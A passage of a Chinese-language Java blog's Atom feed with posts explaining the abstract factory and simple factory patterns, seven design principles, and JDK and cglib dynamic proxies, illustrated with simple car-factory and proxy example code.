    <summary>概述1、定义：将一个复杂对象的构建与它的表示分离，使得同样的构建过程可以创建不同的表示2、主要作用：在用户不知道对象的建造过程和细节的情况下就可以直接创建复杂的对象。3、如何使用：用户只需要给出指定复杂对象的类型和内容，建造者模式负责按顺序创建复杂对象（把内部的建造过程和细节隐藏起来）4、解决的问题：（1）、方便用户创……</summary>
    <title>设计模式 创建型模式 创建者模式</title>
    <updated>2021-05-04T06:20:35.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>邓纯粹</name>
    </author>
    <category term="设计模式" scheme="https://blog.chuncui.icu/categories/%E8%AE%BE%E8%AE%A1%E6%A8%A1%E5%BC%8F/"/>
    <category term="设计模式" scheme="https://blog.chuncui.icu/tags/%E8%AE%BE%E8%AE%A1%E6%A8%A1%E5%BC%8F/"/>
    <content>
      <![CDATA[<h3 id="概述"><a href="#概述" class="headerlink" title="概述"></a>概述</h3><p>抽象方法模式是工厂方法模式的一种扩展,最简单的抽象方法模式会退化成了工厂方法模式,抽象方法模式提出了产品族的一个概念。那么什么是产品族呢？还是以汽车为例,汽车是一个产品的抽象,汽车的型号就是汽车的产品族比如,suv,轿车,跑车。如果工厂模式创建的不是一个简单的产品,而是多个产品族的情况,那么就需要使用抽象方法模式\</p><h3 id="类图"><a href="#类图" class="headerlink" title="类图"></a>类图</h3><p>抽象方法模式需要以下几个角色</p><ul><li><p>抽象工厂类</p></li><li><p>产品工厂类</p></li><li><p>抽象产品类</p></li><li><p>产品类\</p><figure class="legacy-image-notice" data-original-src="https://dmr-blog.oss-cn-shanghai.aliyuncs.com/blog/image_1585581293704.png"><img src="/images/legacy-missing.svg" alt="image.png" /><figcaption><strong>旧站配图 1 未恢复</strong> · 原 OSS 存储桶已经删除，原始地址已记录在迁移清单中。</figcaption></figure></li></ul><h3 id="代码实现"><a href="#代码实现" class="headerlink" title="代码实现"></a>代码实现</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">public abstract class  AbstractCarFactory &#123;</span><br><span class="line">        abstract void buildSuv();</span><br><span class="line">        abstract void buildJiaoche();</span><br><span class="line">        abstract void buildYueYeChe();</span><br><span class="line">    &#125;</span><br></pre></td></tr></table></figure><p>public class BaoJunCarFactory extends AbstractCarFactory {<br>private BaojunCar baojunCar&#x3D;new BaojunCar();<br>@Override<br>void buildSuv() {</p><pre><code>  baojunCar.suv();</code></pre><p>}</p><p>@Override<br>void buildJiaoche() {</p><pre><code>  baojunCar.jiaoche();</code></pre><p>}</p><p>@Override<br>void buildYueYeChe() {</p><pre><code>  baojunCar.yueyeche();</code></pre><p>}<br>}</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line">public class BMWCarFactory extends AbstractCarFactory &#123;</span><br><span class="line"></span><br><span class="line">    private BMWCar bmwCar =new BMWCar();</span><br><span class="line"></span><br><span class="line">    @Override</span><br><span class="line">    void buildSuv() &#123;</span><br><span class="line">        bmwCar.suv();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    @Override</span><br><span class="line">    void buildJiaoche() &#123;</span><br><span class="line">        bmwCar.jiaoche();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    @Override</span><br><span class="line">    void buildYueYeChe() &#123;</span><br><span class="line">        bmwCar.yueyeche();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line">public class BaojunCar implements Car &#123;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">    @Override</span><br><span class="line">    public void yueyeche() &#123;</span><br><span class="line">        System.out.println(&quot;宝骏 越野车&quot;);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    @Override</span><br><span class="line">    public void jiaoche() &#123;</span><br><span class="line">        System.out.println(&quot;宝骏 轿车&quot;);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    @Override</span><br><span class="line">    public void suv() &#123;</span><br><span class="line">        System.out.println(&quot;宝骏 suv&quot;);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">public class BMWCar implements Car &#123;</span><br><span class="line">    @Override</span><br><span class="line">    public void yueyeche() &#123;</span><br><span class="line">        System.out.println(&quot;宝马 越野车&quot;);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    @Override</span><br><span class="line">    public void jiaoche() &#123;</span><br><span class="line">        System.out.println(&quot;宝马 轿车&quot;);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    @Override</span><br><span class="line">    public void suv() &#123;</span><br><span class="line">        System.out.println(&quot;宝马 suv&quot;);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">public interface Car &#123;</span><br><span class="line">    void yueyeche();</span><br><span class="line">    void jiaoche();</span><br><span class="line">    void suv();</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">public class Main &#123;</span><br><span class="line">    public static void main(String[] args) &#123;</span><br><span class="line">        BaoJunCarFactory baoJunCarFactory =new BaoJunCarFactory();</span><br><span class="line">        baoJunCarFactory.buildJiaoche();</span><br><span class="line">        baoJunCarFactory.buildSuv();</span><br><span class="line">        baoJunCarFactory.buildYueYeChe();</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">        BMWCarFactory bmwCarFactory =new BMWCarFactory();</span><br><span class="line">        bmwCarFactory.buildJiaoche();</span><br><span class="line">        bmwCarFactory.buildSuv();</span><br><span class="line">        bmwCarFactory.buildYueYeChe();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>可以看到我们的抽象工厂定义了多个抽象方法,这也就是为什么叫抽象方法模式的原因了。实际上和工厂方法模式一样。只是有产品族抽象方法的概念</p><h3 id="优缺点"><a href="#优缺点" class="headerlink" title="优缺点"></a>优缺点</h3><h4 id="优点："><a href="#优点：" class="headerlink" title="优点："></a>优点：</h4><ul><li>复合高内聚低耦合的开发设计规范,抽象工厂模式将创建产品的逻辑收敛起来,如果更换产品只需要选择对应的工厂方法即可</li><li>增加具体产品工厂和产品很方便</li><li>当产品族中的多个对象一起工作的时候,客户端只能使用同一个产品族的对象</li></ul><h4 id="缺点："><a href="#缺点：" class="headerlink" title="缺点："></a>缺点：</h4><ul><li>开闭原则的倾斜性,增加产品和产品工厂很方便,增加产品族很困难,所以设计抽象方法的时候一定要尽可能多的设计抽象方法</li></ul><h3 id="应用场景"><a href="#应用场景" class="headerlink" title="应用场景"></a>应用场景</h3><p>客户端切换界面主题, 各个控件对象的构造过程都收敛到同一个工厂类中</p>]]>
    </content>
    <id>https://blog.chuncui.icu/2020/07/20/%E3%80%90%E5%88%9B%E5%BB%BA%E5%9E%8B%E6%A8%A1%E5%BC%8F%E3%80%91%E6%8A%BD%E8%B1%A1%E6%96%B9%E6%B3%95%E6%A8%A1%E5%BC%8F/</id>
    <link href="https://blog.chuncui.icu/2020/07/20/%E3%80%90%E5%88%9B%E5%BB%BA%E5%9E%8B%E6%A8%A1%E5%BC%8F%E3%80%91%E6%8A%BD%E8%B1%A1%E6%96%B9%E6%B3%95%E6%A8%A1%E5%BC%8F/"/>
    <published>2020-07-20T13:11:37.000Z</published>
    <summary>概述 抽象方法模式是工厂方法模式的一种扩展,最简单的抽象方法模式会退化成了工厂方法模式,抽象方法模式提出了产品族的一个概念。那么什么是产品族呢？还是以汽车为例,汽车是一个产品的抽象,汽车的型号就是汽车的产品族比如,suv,轿车,跑车。如果工厂模式创建的不是一个简单的产品,而是多个产品族的情况,那么就需要使用抽象方法模式……</summary>
    <title>设计模式 创建型模式 抽象方法模式</title>
    <updated>2021-05-04T06:20:52.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>邓纯粹</name>
    </author>
    <category term="设计模式" scheme="https://blog.chuncui.icu/categories/%E8%AE%BE%E8%AE%A1%E6%A8%A1%E5%BC%8F/"/>
    <category term="设计模式" scheme="https://blog.chuncui.icu/tags/%E8%AE%BE%E8%AE%A1%E6%A8%A1%E5%BC%8F/"/>
    <content>
      <![CDATA[<h3 id="概述"><a href="#概述" class="headerlink" title="概述"></a>概述</h3><p>简单工厂模式又叫静态工厂模式,是属于创建型模式,工厂方法通过参数来控制创建不通的对象,这些对象都继承同一个夫类。</p><h3 id="类图"><a href="#类图" class="headerlink" title="类图"></a>类图</h3><figure class="legacy-image-notice" data-original-src="https://dmr-blog.oss-cn-shanghai.aliyuncs.com/blog/image_1585579314830.png"><img src="/images/legacy-missing.svg" alt="image.png" /><figcaption><strong>旧站配图 1 未恢复</strong> · 原 OSS 存储桶已经删除，原始地址已记录在迁移清单中。</figcaption></figure><h3 id="代码实现"><a href="#代码实现" class="headerlink" title="代码实现"></a>代码实现</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">public class CarFactory &#123;</span><br><span class="line"></span><br><span class="line">    public static Car getCar(String name) &#123;</span><br><span class="line">        if (&quot;BMW&quot;.equals(name)) &#123;</span><br><span class="line">            return new BMWCar();</span><br><span class="line">        &#125;</span><br><span class="line">        if (&quot;BAOJUN&quot;.equals(name)) &#123;</span><br><span class="line">            return new BaojunCar();</span><br><span class="line">        &#125;</span><br><span class="line">        throw new RuntimeException(&quot;unsupport car name &quot;);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">public interface Car &#123;</span><br><span class="line">    void desc();</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">public class BMWCar implements Car &#123;</span><br><span class="line">    @Override</span><br><span class="line">    public void desc() &#123;</span><br><span class="line">        System.out.println(&quot;我是宝马～&quot;);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">public class BaojunCar implements Car &#123;</span><br><span class="line">    @Override</span><br><span class="line">    public void desc() &#123;</span><br><span class="line">        System.out.println(&quot;我是宝骏！&quot;);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><ol><li><p>产品类（宝马、宝骏）都继承Car类</p></li><li><p>工厂类根据入参不同返回不通的产品<br>下面是主方法</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">public class Main &#123;</span><br><span class="line">    public static void main(String[] args) &#123;</span><br><span class="line">        Car bmw = CarFactory.getCar(&quot;BMW&quot;);</span><br><span class="line">        bmw.desc();</span><br><span class="line">        Car baojun = CarFactory.getCar(&quot;BAOJUN&quot;);</span><br><span class="line">        baojun.desc();</span><br><span class="line">        Car xxx = CarFactory.getCar(&quot;xxx&quot;);</span><br><span class="line">        xxx.desc();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>\</p><figure class="legacy-image-notice" data-original-src="https://dmr-blog.oss-cn-shanghai.aliyuncs.com/blog/image_1585578451696.png"><img src="/images/legacy-missing.svg" alt="image.png" /><figcaption><strong>旧站配图 2 未恢复</strong> · 原 OSS 存储桶已经删除，原始地址已记录在迁移清单中。</figcaption></figure></li></ol><h3 id="优缺点"><a href="#优缺点" class="headerlink" title="优缺点"></a>优缺点</h3><h4 id="优点："><a href="#优点：" class="headerlink" title="优点："></a>优点：</h4><ul><li>通过入参控制返回不同的产品,隐藏生成产品的逻辑,调用方属于消费者</li><li>调用方只需要记录相关类的参数即可创建对应的类,避免了创建类名复杂,不好记忆的问题</li><li>相关参数可以放到配置文件中,一定成都上增加了灵活性</li></ul><h4 id="缺点："><a href="#缺点：" class="headerlink" title="缺点："></a>缺点：</h4><ul><li>所有的类创建都在工厂类创建,一但工厂类发生问题所有的产品的创建都受到影响</li><li>扩展性差,如果增加新的产品需要在工厂类增加代码,导致工厂类过于复杂且庞大</li><li>产品的创建基于静态方法,造成产品无法形成基于继承的等级结构</li></ul><h3 id="应用场景"><a href="#应用场景" class="headerlink" title="应用场景"></a>应用场景</h3><ol><li>加密场景 KeyGenerator keyGen&#x3D;KeyGenerator.getInstance(“DESede”);</li><li>DateFormat JDK类库中广泛使用了简单工厂模式，如工具类java.text.DateFormat，它用于格式化一个本地日期或者时间。</li></ol><h4 id="参考地址"><a href="#参考地址" class="headerlink" title="参考地址"></a>参考地址</h4><ul><li><a href="https://design-patterns.readthedocs.io/zh_CN/latest/creational_patterns/simple_factory.html" target="_blank" rel="noopener">图说设计模式</a></li><li><a href="http://canyuda.top/posts/2019090532068/" target="_blank" rel="noopener">设计模式-简单工厂模式</a></li></ul>]]>
    </content>
    <id>https://blog.chuncui.icu/2020/07/11/%E3%80%90%E5%88%9B%E5%BB%BA%E5%9E%8B%E6%A8%A1%E5%BC%8F%E3%80%91%E7%AE%80%E5%8D%95%E5%B7%A5%E5%8E%82%E6%A8%A1%E5%BC%8F/</id>
    <link href="https://blog.chuncui.icu/2020/07/11/%E3%80%90%E5%88%9B%E5%BB%BA%E5%9E%8B%E6%A8%A1%E5%BC%8F%E3%80%91%E7%AE%80%E5%8D%95%E5%B7%A5%E5%8E%82%E6%A8%A1%E5%BC%8F/"/>
    <published>2020-07-11T14:13:31.000Z</published>
    <summary>概述简单工厂模式又叫静态工厂模式,是属于创建型模式,工厂方法通过参数来控制创建不通的对象,这些对象都继承同一个夫类。 类图 代码实现12345678910111213public class CarFactory { public static Car getCar(String name) { if (&quot;BMW&quot;.e……</summary>
    <title>设计模式 创建型模式 简单工厂模式</title>
    <updated>2021-05-04T06:21:35.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>邓纯粹</name>
    </author>
    <category term="java" scheme="https://blog.chuncui.icu/categories/java/"/>
    <category term="设计模式" scheme="https://blog.chuncui.icu/tags/%E8%AE%BE%E8%AE%A1%E6%A8%A1%E5%BC%8F/"/>
    <content>
      <![CDATA[<p>下面是我对7大设计原则自己的理解</p><ul><li>单一原则<br>一个类只做一件事情</li><li>里氏替换原则<br>1.合理继承<br>2.继承 子类是为了扩展父类,而不是重写相关方法。</li><li>依赖倒置原则<br>高模块不应该直接依赖低模块,而是应该依赖其抽象</li><li>开闭原则<br>对扩展开放,对修改关闭</li><li>迪莱米原则<br>一个类引用类一个类,被引用类应该尽可能的封装自己的属性和方法,让别的类知道的越少越好</li><li>组合复合原则<br>不推荐使用继承,可以使用组合的方式进行实现</li><li>接口隔离原则<br>一个类对于另一个类的依赖,应该建立在最小的接口上,使用接口隔离</li></ul>]]>
    </content>
    <id>https://blog.chuncui.icu/2020/06/29/%E8%AE%BE%E8%AE%A1%E6%A8%A1%E5%BC%8F%20%E4%B8%83%E5%A4%A7%E8%AE%BE%E8%AE%A1%E5%8E%9F%E5%88%99/</id>
    <link href="https://blog.chuncui.icu/2020/06/29/%E8%AE%BE%E8%AE%A1%E6%A8%A1%E5%BC%8F%20%E4%B8%83%E5%A4%A7%E8%AE%BE%E8%AE%A1%E5%8E%9F%E5%88%99/"/>
    <published>2020-06-29T13:12:34.000Z</published>
    <summary>下面是我对7大设计原则自己的理解 单一原则一个类只做一件事情 里氏替换原则1.合理继承2.继承 子类是为了扩展父类,而不是重写相关方法。 依赖倒置原则高模块不应该直接依赖低模块,而是应该依赖其抽象 开闭原则对扩展开放,对修改关闭 迪莱米原则一个类引用类一个类,被引用类应该尽可能的封装自己的属性和方法,让别的类知道的越少……</summary>
    <title>设计模式 七大设计原则</title>
    <updated>2021-05-04T06:23:25.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>邓纯粹</name>
    </author>
    <category term="java" scheme="https://blog.chuncui.icu/categories/java/"/>
    <category term="java基础" scheme="https://blog.chuncui.icu/tags/java%E5%9F%BA%E7%A1%80/"/>
    <content>
      <![CDATA[<h3 id="一、cglib代理介绍"><a href="#一、cglib代理介绍" class="headerlink" title="一、cglib代理介绍"></a>一、cglib代理介绍</h3><p>cglib代理是实现动态代理的另一种方式,CGLIB是一个功能强大，高性能的代码生成包。它为没有实现接口的类提供代理，为JDK的动态代理提供了很好的补充。通常可以使用Java的动态代理创建代理，但当要代理的类没有实现接口或者为了更好的性能，CGLIB是一个好的选择</p><h3 id="二、cglib的原理"><a href="#二、cglib的原理" class="headerlink" title="二、cglib的原理"></a>二、cglib的原理</h3><ol><li>动态生成目标类的代理类,重写代理类的所有非final修饰的方法,子类使用方法拦截的方式实现目标类的增强,所以cglib代理比jdk反射代理效率更高,并且能代理类,而jdk代理只能代理接口</li><li>底层使用asm字节码框架生成代理类,而不是使用反射生成类</li><li>缺点不能代理被final修饰的方法</li></ol><h3 id="三、cglib代理的实现"><a href="#三、cglib代理的实现" class="headerlink" title="三、cglib代理的实现"></a>三、cglib代理的实现</h3><pre><code>public static void main(String[] args) {     System.setProperty(DebuggingClassWriter.DEBUG_LOCATION_PROPERTY, &quot;resource&quot;);     Dog dog =new Dog();     Enhancer enhancer =new Enhancer();     //设置目前类     enhancer.setSuperclass(Dog.class);     //设置拦截器     enhancer.setCallback(new MethodInterceptor() {         public Object intercept(Object o, Method method, Object[] objects, MethodProxy methodProxy) throws Throwable {             System.out.println(&quot;呵呵,我是增强&quot;);             return  methodProxy.invokeSuper(o,objects);         }     });     Dog dogProxy = (Dog) enhancer.create();     dogProxy.run(); }</code></pre><h3 id="四、invokeSuper-方法"><a href="#四、invokeSuper-方法" class="headerlink" title="四、invokeSuper()方法"></a>四、invokeSuper()方法</h3><p>因为cglib代理是继承目标类,并且重写方法,所以这里调用invokesuper方法,调用父类的方法</p><h3 id="五、cglib原理"><a href="#五、cglib原理" class="headerlink" title="五、cglib原理"></a>五、cglib原理</h3><figure class="legacy-image-notice" data-original-src="https://dmr-blog.oss-cn-shanghai.aliyuncs.com/blog/image-9d6ebe185caf41dabf565fc34cf4261e.png"><img src="/images/legacy-missing.svg" alt="image.png" /><figcaption><strong>旧站配图 1 未恢复</strong> · 原 OSS 存储桶已经删除，原始地址已记录在迁移清单中。</figcaption></figure><p><br>上图可以看到cglib方式会在内存中生成,3个字节码文件.可以使用 System.setProperty(DebuggingClassWriter.DEBUG_LOCATION_PROPERTY, “resource”);方法将字节码文件写到相关目录。</p><ol><li>可以看到代理类实现了目标代理类\<figure class="legacy-image-notice" data-original-src="https://dmr-blog.oss-cn-shanghai.aliyuncs.com/blog/image-c8f1d330468b43cf8c7c366de820eb60.png"><img src="/images/legacy-missing.svg" alt="image.png" /><figcaption><strong>旧站配图 2 未恢复</strong> · 原 OSS 存储桶已经删除，原始地址已记录在迁移清单中。</figcaption></figure></li><li>可以看到重写run方法,先回去回调方法,如果获取不到就加载回调方法,执行intercept 方法\<figure class="legacy-image-notice" data-original-src="https://dmr-blog.oss-cn-shanghai.aliyuncs.com/blog/image-b8c6e2ef41bf4aae9d284e0917377c86.png"><img src="/images/legacy-missing.svg" alt="image.png" /><figcaption><strong>旧站配图 3 未恢复</strong> · 原 OSS 存储桶已经删除，原始地址已记录在迁移清单中。</figcaption></figure></li><li>FastClass机制<br>FastClass提出了index下标的概念,通过index保存方法的引用信息,将反射调用转化为方法的直接调用,体现所谓的fast\<figure class="legacy-image-notice" data-original-src="https://dmr-blog.oss-cn-shanghai.aliyuncs.com/blog/image-9d8363bf512c4056b006d7b3180fae63.png"><img src="/images/legacy-missing.svg" alt="image.png" /><figcaption><strong>旧站配图 4 未恢复</strong> · 原 OSS 存储桶已经删除，原始地址已记录在迁移清单中。</figcaption></figure></li><li>通过方法名计算hashcode值,通过hashcode找到方法对应的index</li><li>通过index 调用invoke方法,invoke方法通过index判断执行那个方法</li></ol><h3 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h3><ol><li>动态代理类通过实现invocationHandler接口</li><li>通过<br>Proxy.newProxyInstance(factory.getClass().getClassLoader(),person.getClass().getInterfaces(),this)方法<br>复制一份代理的类并且生成字节码文件到内存中,<br>生成的代理类 继承了Proxy类 并且实现了代理接口<br>调用生成的动态代理类中实现的方法,其中调用了其实现的方法，在方法中通过invocationHandler的invoke()方法<br>jdk动态代理的缺点 不能代理类,需要实现invocationHandler接口<br>jdk动态代理和cglib生成字节码的方式不通</li><li>cglib动态代理 可以动态代理类<br>因为cglib动态生成的类是继承原类,所以可以动态代理到类</li><li>jdk动态代理实现了自己的顶层接口继承了proxy类</li></ol>]]>
    </content>
    <id>https://blog.chuncui.icu/2020/06/25/java%20%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86-%E5%8A%A8%E6%80%81%E4%BB%A3%E7%90%86-cglib%E4%BB%A3%E7%90%86/</id>
    <link href="https://blog.chuncui.icu/2020/06/25/java%20%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86-%E5%8A%A8%E6%80%81%E4%BB%A3%E7%90%86-cglib%E4%BB%A3%E7%90%86/"/>
    <published>2020-06-25T13:12:34.000Z</published>
    <summary>一、cglib代理介绍cglib代理是实现动态代理的另一种方式,CGLIB是一个功能强大，高性能的代码生成包。它为没有实现接口的类提供代理，为JDK的动态代理提供了很好的补充。通常可以使用Java的动态代理创建代理，但当要代理的类没有实现接口或者为了更好的性能，CGLIB是一个好的选择 二、cglib的原理 动态生成目……</summary>
    <title>java 基础知识 动态代理 cglib代理</title>
    <updated>2021-05-04T06:27:28.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>邓纯粹</name>
    </author>
    <category term="java" scheme="https://blog.chuncui.icu/categories/java/"/>
    <category term="java基础" scheme="https://blog.chuncui.icu/tags/java%E5%9F%BA%E7%A1%80/"/>
    <content>
      <![CDATA[<h3 id="一、jdk动态代理"><a href="#一、jdk动态代理" class="headerlink" title="一、jdk动态代理"></a>一、jdk动态代理</h3><p>动态代理分为jdk动态代理和cglib动态代理,本章讲解jdk动态代理</p><h3 id="二、jdk动态代理如何实现"><a href="#二、jdk动态代理如何实现" class="headerlink" title="二、jdk动态代理如何实现"></a>二、jdk动态代理如何实现</h3><ol><li>实现InvorcationHander接口,在invoke()方法实现增强</li><li>通过Proxy.newProxyInstance()方法获取到代理类</li><li>调用代理引用调用目标方法实现曾江</li></ol><h3 id="三、代码实现"><a href="#三、代码实现" class="headerlink" title="三、代码实现"></a>三、代码实现</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">public static void main(String[] args) &#123;</span><br><span class="line">        final Car car = new BmwCar();</span><br><span class="line">        Car carProxy = (Car) Proxy.newProxyInstance(Car.class.getClassLoader(), car.getClass().getInterfaces(), new InvocationHandler() &#123;</span><br><span class="line">            public Object invoke(Object proxy, Method method, Object[] args) throws Throwable &#123;</span><br><span class="line">                System.out.println(&quot;增强前&quot;);</span><br><span class="line">                Object invoke = method.invoke(car, args);</span><br><span class="line">                System.out.println(&quot;增强后&quot;);</span><br><span class="line">                return invoke;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;);</span><br><span class="line">        carProxy.run();</span><br><span class="line">    &#125;</span><br></pre></td></tr></table></figure><p>\</p><figure class="legacy-image-notice" data-original-src="https://dmr-blog.oss-cn-shanghai.aliyuncs.com/blog/image-bd78b9420f1948c1a40d2296a963968d.png"><img src="/images/legacy-missing.svg" alt="image.png" /><figcaption><strong>旧站配图 1 未恢复</strong> · 原 OSS 存储桶已经删除，原始地址已记录在迁移清单中。</figcaption></figure><h3 id="四、实现原理"><a href="#四、实现原理" class="headerlink" title="四、实现原理"></a>四、实现原理</h3><figure class="legacy-image-notice" data-original-src="https://dmr-blog.oss-cn-shanghai.aliyuncs.com/blog/image-662f7405a32640d18fc980a2cfa0f0a5.png"><img src="/images/legacy-missing.svg" alt="image.png" /><figcaption><strong>旧站配图 2 未恢复</strong> · 原 OSS 存储桶已经删除，原始地址已记录在迁移清单中。</figcaption></figure><p>\</p><figure class="legacy-image-notice" data-original-src="https://dmr-blog.oss-cn-shanghai.aliyuncs.com/blog/image-5655df9945ac46fbbdfcc732096d9617.png"><img src="/images/legacy-missing.svg" alt="image.png" /><figcaption><strong>旧站配图 3 未恢复</strong> · 原 OSS 存储桶已经删除，原始地址已记录在迁移清单中。</figcaption></figure><p>\</p><figure class="legacy-image-notice" data-original-src="https://dmr-blog.oss-cn-shanghai.aliyuncs.com/blog/image-26944ac2f4124595a0488f9839f89d05.png"><img src="/images/legacy-missing.svg" alt="image.png" /><figcaption><strong>旧站配图 4 未恢复</strong> · 原 OSS 存储桶已经删除，原始地址已记录在迁移清单中。</figcaption></figure><p>\</p><figure class="legacy-image-notice" data-original-src="https://dmr-blog.oss-cn-shanghai.aliyuncs.com/blog/image-a1db2b12ab37483881d89a6ef1738e0f.png"><img src="/images/legacy-missing.svg" alt="image.png" /><figcaption><strong>旧站配图 5 未恢复</strong> · 原 OSS 存储桶已经删除，原始地址已记录在迁移清单中。</figcaption></figure><p><br>可以看到通过Proxy.newProxyInstance()生成了目标对象的代理类,以二进制的方式加载到了内存中.<br>那么代理类长什么样子呢？\</p><figure class="legacy-image-notice" data-original-src="https://dmr-blog.oss-cn-shanghai.aliyuncs.com/blog/image-e76f3aae567d4aeb8f3e6d1b5f07bfc2.png"><img src="/images/legacy-missing.svg" alt="image.png" /><figcaption><strong>旧站配图 6 未恢复</strong> · 原 OSS 存储桶已经删除，原始地址已记录在迁移清单中。</figcaption></figure><ol><li>代理类继承了Proxy类并且实现了我们的car接口</li><li>在实现的run方法中,调用了h.invoke()方法</li><li>那么h是什么呢？ h是 Proxy类中的属性,就是InvoketionHander接口的引用,所以jdk代理类必须实现InvoketionHander接口\<figure class="legacy-image-notice" data-original-src="https://dmr-blog.oss-cn-shanghai.aliyuncs.com/blog/image-5dd41bac7c5244c895bf1b375ff8db00.png"><img src="/images/legacy-missing.svg" alt="image.png" /><figcaption><strong>旧站配图 7 未恢复</strong> · 原 OSS 存储桶已经删除，原始地址已记录在迁移清单中。</figcaption></figure><br>jdk 动态代理实现图\<figure class="legacy-image-notice" data-original-src="https://dmr-blog.oss-cn-shanghai.aliyuncs.com/blog/image-29ce1ec01db5495c8101137d1bc51028.png"><img src="/images/legacy-missing.svg" alt="image.png" /><figcaption><strong>旧站配图 8 未恢复</strong> · 原 OSS 存储桶已经删除，原始地址已记录在迁移清单中。</figcaption></figure></li></ol>]]>
    </content>
    <id>https://blog.chuncui.icu/2020/06/15/java%20%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86-%E5%8A%A8%E6%80%81%E4%BB%A3%E7%90%86-jdk%E4%BB%A3%E7%90%86/</id>
